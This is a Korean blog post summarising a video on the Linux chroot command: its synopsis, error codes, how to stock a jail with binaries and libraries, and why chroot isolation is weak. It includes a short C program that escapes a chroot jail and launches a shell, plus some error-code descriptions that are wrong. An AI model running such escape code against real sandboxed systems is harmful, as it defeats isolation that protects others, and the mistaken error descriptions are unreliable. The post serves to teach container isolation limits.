컨테이너: chroot

Seongho Jang·2023년 7월 11일

Youtube
해당영상을 바탕으로 정리하였음

1. chroot

1) Synopsis

#include<unistd.h>

int chroot(const char* path)
$ chroot {chage root path} {command shell}

2) Description

  • change root 의 약자로 root directory을 변경해주는 명령
  • root directory 위로는 벗어날 수 없기 때문에 user나 process를 해당 file system에 가두는 역할을 한다.
  • root directory만을 변경하지 다른 것을 변경하지 않는다.

3) Return value

  • 성공시 0

4) ERRORS

  • EACCESS: 접근권한 거부(파일 권한문제)
  • EFAULT: path가 격리된 환경 밖을 가르킨다.
  • EIO: I/O오류가 발생
  • ELOOP: symbolic link가 너무 많다.
  • ENAMETOOLONG: path가 길다.
  • ENOENT: 사용가능한 kernel 메모리가 부족
  • ENOTDIR: path의 일부분이 directory가 아니다.
  • EPERM: 권한 부족(user 권한문제)

2. 주의점

  • 해당 file system에 갇히기 때문에 리눅스 명령어부터 shell까지 모두 직접 해당 file system에 넣어 주어야 한다.
  • which를 이용하여 해당 명령어의 위치를 찾고, ldd를 이용하여 의존 라이브러리를 찾는다.
  • 이후 chroot를 실행한 root directory 아래에 해당 파일들이 있어야 실행이 가능
#sh의 위치출력
$ which sh
#sh의 의존성파일 확인
$ ldd /bin/sh

3. Breaking out of chroot jail

  • 하지만 이렇게 chroot에 가둬두어도 탈출 할 수 있다.
  • 이 소스코드를 넣고 chroot한 root directory에서 실행하면 탈출하는 것을 볼 수 있다.
#include<sys/stat.h>
#include<unistd.h>

int main(void)
{
	mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    chdir("../../../../../");
    chroot(".");
    
    return execl("/bin/sh","-i", NULL);
}

한계

  • 가둔 root directory에서의 탈옥이 가능하다.

아래는 file system만을 격리시키는 것이기 때문에 발생

  • root권한을 막을 방법이 없다.

  • 자원을 차지하는 것을 조절 할 수 없다.

0개의 댓글